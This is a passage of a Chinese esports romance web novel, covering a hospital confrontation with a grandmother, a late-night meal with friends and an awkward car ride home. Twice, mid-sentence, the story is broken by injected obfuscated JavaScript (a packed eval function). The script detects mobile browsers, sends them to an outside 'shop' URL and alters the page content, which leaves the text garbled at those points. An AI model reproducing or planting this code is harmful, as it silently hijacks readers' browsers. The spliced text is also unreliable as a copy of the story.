“让你多操心了芳姨。”陆意扬说,“那我下楼去办一下住院。” 正在这时候,停完车的谈年进来了。 “你怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990316|190783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还上来了。”陆意扬现在心烦意乱,也没心思跟他扯来扯去,“我最近估计在医院就不怎么回家了,你不是还要比赛吗,快回去吧。” 病床上的老太太忽然醒了,撑着手臂坐起来,她抿着嘴唇,看起来很不友好。 “醒了啊?”陆意扬上前,“有没有哪里不舒服的?” 老太太死死地盯着谈年。 谈年礼貌地说,“奶奶您好。” 老太太盯完谈年又盯着陆意扬,陆意扬回避着她的眼神,刻意找话题,“看起来蛮精神的啊老太太,没什么事儿放心吧。” 老太太又看着谈年,是强按着愤怒,质问,“你也是跟他比赛的人?” 陆意扬微不可察地拧了下眉毛,往前跟谈年说,“我家老太太身体不好,别见怪,你先走吧。” “没事。”谈年往门外走,轻轻带上门。 陆意扬回身还没到老太太的床前,老太太便将保温杯猛一下砸在他身上,骂道,“靓靓跟健利就是你们害死的!非要,非要去比什么赛!” “他们的电话来了,爹妈都不顾了!都说不让你去了不让你去了让你好好读书!台风啊!不让出行啊,你怎么一点也不听话啊!非要去,非要去!你把他们害死了,你害死他们!” “讨命鬼!你这个讨命鬼!” “要去那个该死的比赛!” 纸巾,检查单,药盒子,老花镜,通通砸在陆意扬的身上,散落一地。 陆意扬腮帮子都发酸,只能看着病床上头发凌乱的老太太咒骂着自己,她起伏着胸腔,不能平静。 “好了好了,老太太,扬扬也难受,别说了别说了。”芳姨帮着老太太顺气,哄着老太太说话,“扬扬对您多好,多孝顺,这么多年,那些钱都是他挣的,他还那么小呢。” “他造孽啊,家破人亡啊!”老太太捂着自己的胸口,颤抖的手指指着他,“我的女儿就是被你害死的!” “别说这些丧气话老太太。”芳姨赶紧给陆意扬使眼色让他先走。 陆意扬的耳朵持续的开始耳鸣,车祸时候的眩晕感笼罩着他,他嗅闻到车厢内的血腥味跟汽油味,他感觉到车窗玻璃插进他手腕的疼痛,他甚至没听清他妈妈到底最后说了什么话。 他站在原地不稳,老太太的血氧饱和开始上蹿下跳,护士铃惊扰住院楼,冲进来的白大褂极速地拉上了帘子。 陆意扬被冲撞在一边,浅绿色的帘子带着褶皱,在他眼前像是绿色的无边的波浪,机器的声音此起彼伏,像是回到多年前的噩梦。 走廊没有铁皮椅,他发酸发颤的身体都没有地方能让他坐一会儿。 他扶着走廊上的栏杆,往走廊尽头的窗户走去。 他撑着窗户就凭着一点点缝隙深呼吸,接着来到卫生间洗了一把脸,他平复了便过来护士站找芳姨。 “芳姨,证件呢,我下去办一下。” “你的朋友拿走了,说让你休息一下。” 陆意扬嗯了一声从电梯走,站在门口等着,等电梯门开的时候,谈年走了出来。 “多少钱,我转给你吧。”陆意扬有点没力气。 “等出院的时候再说。”谈年将单子折起来。 “没必要,这是我自己的事情。”陆意扬站在走廊处,摩挲了两下铜质火机的砂轮,点了根烟,他猛的吸了一口,抠了抠自己的额头,也不看谈年,“别跟我扯一块了,行吗。” “可以不行吗。” “这段时间总是麻烦你了,”陆意扬难得口气强硬地说,“收款码,我给你转过去。” 谈年不说话。 “我看得起病。”陆意扬的声音听起来又犟又不稳,带着后鼻音。 对方出示了一个收款码。 陆意扬从他手上把单子拿过来,叼着烟看了一眼住院押金额。 转账成功后,他连感谢的话也说不出来,嘴角扯一下的样子都做不出来,声音哑成气了,手都摆不动,“走了。”转身垂着头走了。 48.咪咪来了 老太太基本情况已经稳定了。 本来陆意扬要留下来照顾老人,芳姨说还要擦洗,男孩子也不方便,他在这里还让老太太血压更高。 住院的人睡得早,才八点多,走廊就已经空荡荡的了。 他下了楼之后坐在医院大楼门口脏兮兮的台阶上。 他从口袋里掏出烟盒,里面的烟皱巴巴的,他想把烟抚平,转过烟杆才发现已经断了,从烟嘴开始就已经断了。 陆意扬丧气地将烟揉作一团,指尖搓着烟草。 一左一右都有人坐下,左边的人递给他一盒烟,右边的人递给他一瓶水。 陆意扬看清是谁之后不禁失笑,“你俩怎么还来了。” “小六老师不仗义啊,吃饭叫上我们,有事儿就不叫我们了?”妙妙抿着奶茶说。 “你这学校没门禁吗?”陆意扬说,“再不回去就晚了” “等你吃饭咯,今天请假了,我哥也同意了。” “你呢,明天不上班吗?”陆意扬又问右边的珂珂。 “上啊,”珂珂道,“这不是被她拽来了。” “本来想去看老太太的,”妙妙说,“但是看着睡着了就在外面看了一眼。” “我俩来的着急太晚了没买什么好东西,小六老师可别挑理。”珂珂道。 “买什么东西啊,不用。” 陆意扬刚刚特别烦躁,郁闷,想抽烟,现在烟就捏在手里他都不想抽了。 “老太太我们问了一下护士站,说是血压已经稳定了,那就没什么事儿了吧?”珂珂问。 “没什么事儿。” “那你呢,你有事吗?”珂珂问,“可不是到现在什么都没吃吧?” “脸白成这样肯定了。”妙妙起来掸了掸屁股,“走啊小六老师,请吃饭啊。” “行啊,吃什么。”陆意扬说,“这么晚只有夜宵了吧。” 陆意扬旋转着掌心的烟盒,不问也知道她们为何会来到这里,不问也知道为什么是这个烟牌子。 陆意扬犹豫了一下还是问:“他回去了啊?” “问谁呢。”妙妙揶揄。 “我也不知道。”珂珂接茬。 “那你们俩是感应到我在这儿?”陆意扬感觉自己刚刚紧绷的神经放松了不少,起身插着兜跟俩女生往外走。 “一个福至心灵就过来了。”妙妙说,“也没什么人给我打电话,也没什么人担心小六老师不吃饭。” “别皮了。”陆意扬说,“挑地儿吃饭。” 三人打了车,就往夜市去,医院隔两条街就有商场,晚上的时候原本的步行街就变成了美食街。 他们在人流里找了个空位坐下,烤生蚝点了两打,妙妙去前面点馄饨跟凉面。 珂珂拿着湿巾正在擦脏兮兮的桌子,问,“小六老师,老人偶尔要住院很正常,我奶奶一年也得去好几趟医院,别太紧张。” “懂,没事儿。”陆意扬帮着一起擦桌子,“我没那么紧张。” “哎哟,那你不紧张,可是有人紧张。”珂珂说。 “瞎紧张。”陆意扬低着头,“他还是管好他自己吧。” “不知好歹了啊小六老师。”珂珂说,“zonke老师从来不管闲事的,骂他都没反应,你怎么能这么说他。” “打住,他还不管闲事,他以前还没成年打架那会儿你都已经都实习了吧,那视频网上满天飞,你能不知道吗?”陆意扬问。 珂珂抽出来纸擦桌子,“那事儿啊,那事我同事陪着去做的笔录,挨打那个嘴太贱。当时比赛来着吧,解说说到某个选手的打法跟出装思路,像很早时候一个出道过的中单,那中单就打了一个赛季,星赛线下应该是没来,具体什么事不知道反正就是没来,解说惋惜了几句,那小子就说那个中单死全家了,后面的话不好听,反正.....” 陆意扬擦桌子的手指顿在那,粗糙的木桌刺扎进他的手指。 感觉自己的太阳穴不知道为什么跳了好几下,吞咽了一下口水,后面珂珂的话都没听清楚,脑子一下子全乱了,慌乱的气音顺着说了一句“是么。” 妙妙端着满满当当的东西过来,“珂珂啊!快来搭把手啊我手机在响!” 珂珂从小凳子上起来赶紧去端东西,对着陆意扬说,“唉!你坐着别动了,还得挪桌子,麻烦。” 柠檬蜂蜜水扎了吸管,被递到陆意扬的手上。 陆意扬现在除了迷茫,更是疑惑,他一开始以为是他做小解说的时候与他偶然交汇过一些小比赛,但是现在听起来,比他想得还要久,知道的还要多。 最离谱的是,陆意扬也瞄到过那个视频,一直代入的都是挨打的那个..... 烧烤跟生煎被放在桌子上,小吃街的灯连了一条长龙。 后背的胖子喝了几瓶啤酒,挤着陆意扬,对面炒饭锅里猛地起了大火。 “我们吃呢,小六老师当然被拽来啦,我们办事,你就闹心吧。”妙妙正在接电话,手机上的手串叮叮当当的,看得陆意扬心乱。 “哥,你是替你自己关心小六老师,还是替其他人关心的啊?”妙妙还在皮,冲着陆意扬wink,“这么不放心要不然给你打视频直播吃夜宵啊?” “好了不闹了,东西到了我们吃饭了。”妙妙挂了电话,将肉串塞进嘴里,含含糊糊地说,“小六老师,怎么脸色还更不好了?” “没事。”陆意扬有点想抽烟,他有点想知道,那个人到底是....什么时候来的。 陆意扬的柠檬水没喝几口,妙妙的手机又响了。 她看都不看直接:“又干嘛呀!有完没完呀!” 妙妙将手机开了个免提扔在桌子上,不能耽误她嗦粉。 手机里小5的声音传来,“妙子,哈哈哈哈哈别生你哥的气,你年总电话都打了八个了,什么也不说,你哥只能给你打电话。” 陆意扬被柠檬籽呛到,咳嗽了好几声。 “好着呢,挂了。”妙妙的手上都是油,杵了一下珂珂,珂珂把电话给她挂了,顺便擦了一下她手机上的油点。 “爱我的珂珂!”妙妙往珂珂身上蹭,她头上的小发夹都要掉下来了。 珂珂帮她把发夹别好,顺便把她的刘海划到耳后,方便她吃饭。 “我扒小龙虾给你们吃。”妙妙说,“我正好戴了手套。” “珂珂,你们春季赛忙完能休息了吗,最好能赶上我们学校放假,你去我们老家玩吧,我跟你说我们老家那个米线特别正。”妙妙说,“小六老师,就一两天,你也跟我们一起去玩呗。” “我得到时候看,家里事情多。”陆意扬看了下手机的时间,“吃完了,你们两个女孩子要早点回去。” “我跟珂珂说好了,我晚上住她那。”妙妙说,“出来着急,什么都没带。” “那先送你俩回去。”陆意扬问,“我发群里了,你们领一下红包,刚刚都是你们在忙。” “我俩都公款吃喝。”妙妙说,“年总请客。” “他请他的,我请我的。”陆意扬说,“不收下次聚不到一起了啊。” “行了走吧。”珂珂给妙妙拎着包,拿纸巾给她擦手。 刚从夜市口的牌坊下出来,便看见路边停着一辆车。 车窗被摇下来,驾驶室的少年戴着鸭舌帽,手肘撑在窗边,路过的车打着转向灯,橙色的灯光一闪一闪地映在他脸上。 “妈呀,”妙妙一脸嫌弃地说,“这还是我认识的酷哥年总吗?” 但是跑上去的时候又亲热喊道:“hi我的亲哥!” 妙妙跑了两步直接坐在后面,“珂珂快来!” 陆意扬站在后面,看着俩女孩已经坐上了车。 还能听见妙妙在喊,“哎呀我们的屁股怎么这么大呢,后面已经被我们坐满了,看来小六老师只能坐前面了。” 谈年从驾驶室下来,陆意扬有点....不敢看他,不知道是到底是什么时候见过他,也不知道现在应该怎么办,脚又钉在原地不动了。 谈年往前走了一步,“想送你回家,会给你造成困扰吗。” “我......”陆意扬也没什么东西能抓,只能看他俩的鞋子,“有点。” “小六老师,我美瞳眼睛好痛。”妙妙喊道,“快上车我们走吧。” “走、走吧。”陆意扬挠了挠耳朵,又坐上了副驾驶。 珂珂说,“麻烦zonke老师。” 谈年从另一侧上车,“不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17000983|190783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 麻烦。” “你哥说叫你别麻烦珂珂,晚点我送你去基地。”谈年道。 “我不去。”妙妙一下子抱紧了珂珂的手臂,“明天回来我哥还不让麻烦你们送呢,叫我坐公交车,我住这儿近。” “没事的不麻烦,就住我那吧。”珂珂说,“我会看好的。” 谈年张了下嘴唇,打开中控上的袋子,拿了一个递给陆意扬,对后面的女孩说,“你们自己拿。” 陆意扬不喜欢吃李子,“你吃吧。” “哪来的李子啊?”妙妙拿了几个,递给珂珂,“洗过了吧?” 谈年捏着一个李子,就这么举着,陆意扬也不好意思不拿,咬了一口,还行,解腻。 “诶珂珂姐你有护理液吗?” “嗯。” “那我眼罩也没戴。” “也有。” ... 后面的俩女生在窸窸窣窣聊她们的日用品。 “姥姥还好吗?” “没事了。” “嗯。” “明天有课吗?” “有。” “哦。” 接着前面的人不再说话了,妙妙有一大堆事情要讲,那嘴就没停过。 电竞圈的八卦太多,妙妙忙都忙不过来。 接着手机响了,“等会儿,我接个电话。” “5哥有何贵干。” “妙子,你的开裆裤现在是养在哪里啊?” “肯定养在家里啊。”妙妙说,“干嘛。” “就是之前基地旁边的花花,它车祸了,它的小猫,小猫还小,但是椰哥不让放在基地,怎么办?” “那你寄养啊,能怎么办。” “它又凶又胆小,”小5哀怨地说,“我感觉它要应激了。” “那你找个朋友养啊,”妙妙转而看向珂珂,“等下我问一下。” “......我有鼻炎,要么其他朋友我问问。”珂珂帮不上忙。 “那我发个微博看看有没有人要领养吧。”小5说,“给点钱,我能看看照片也行。” “诶别!”妙妙突然智商在线,“May的事还没过去呢,你别发了。而且,你记得R21那个森森,不是捡了只狗让一个女粉领养了之后,就一直生病说花了多少钱多少钱,让森森补偿一点,这也够闹心的。” “那怎么办啊,椰哥已经看到监控了,叫我赶紧弄走,”小5说,“能不能先找地方暂住一下。” 妙妙忽然抓了一下陆意扬的肩膀,“小六老师?” 又我? 陆意扬缓缓回头。 “他很忙。”谈年继续往前开,“回去了我找宠物店。” “好吧,实在不行这学期先寄养,等我放假了我带回去老家,”妙妙说,“我家里都已经一猫一狗,我爸妈又要说我,全是捡的。” “........就是我那里太小了,怕它活动不开。”陆意扬感觉萍水相逢,大家都对他那么好,偶尔要帮点小忙,“可以,是可以的。” 陆意扬的话还没说完,妙妙已经打电话过去,“5哥!快把猫送来!过时不候!” 等车停下的时候,珂珂所居住的小区已经到了。 两个女孩儿下了车,妙妙还回头对着谈年挤眉弄眼,暗示要他加油。 车重新启动,怎么又剩下我们俩了...... 陆意扬坐在副驾也不好意思玩手机,不知道应该先想猫还是先想他,只能低头编自己袖子上的抽绳,都编出来好几个花了。 谈年搓着方向盘在路上,看不出有任何的神态变化。 陆意扬只能说:“那个....谢谢你今天费心了。但是......”我们能不能不要牵扯在一起了,虽然我不知道你到底是从什么时候认识我但是显然,现在这个场面很为难人,你有你的前程,我也不是从前的我。 他转过来看了一眼咬着下唇看起来很紧张的陆意扬,淡淡说:“说下去。” 陆意扬的肩膀绷得很紧,抓着车锁:“就、就到这儿吧,我......想下车了。” 谈年缓缓停车在路边,看着前面谈不上是风景的风景,垂下眼皮,“太晚了陆意扬,我已经下不了车了。”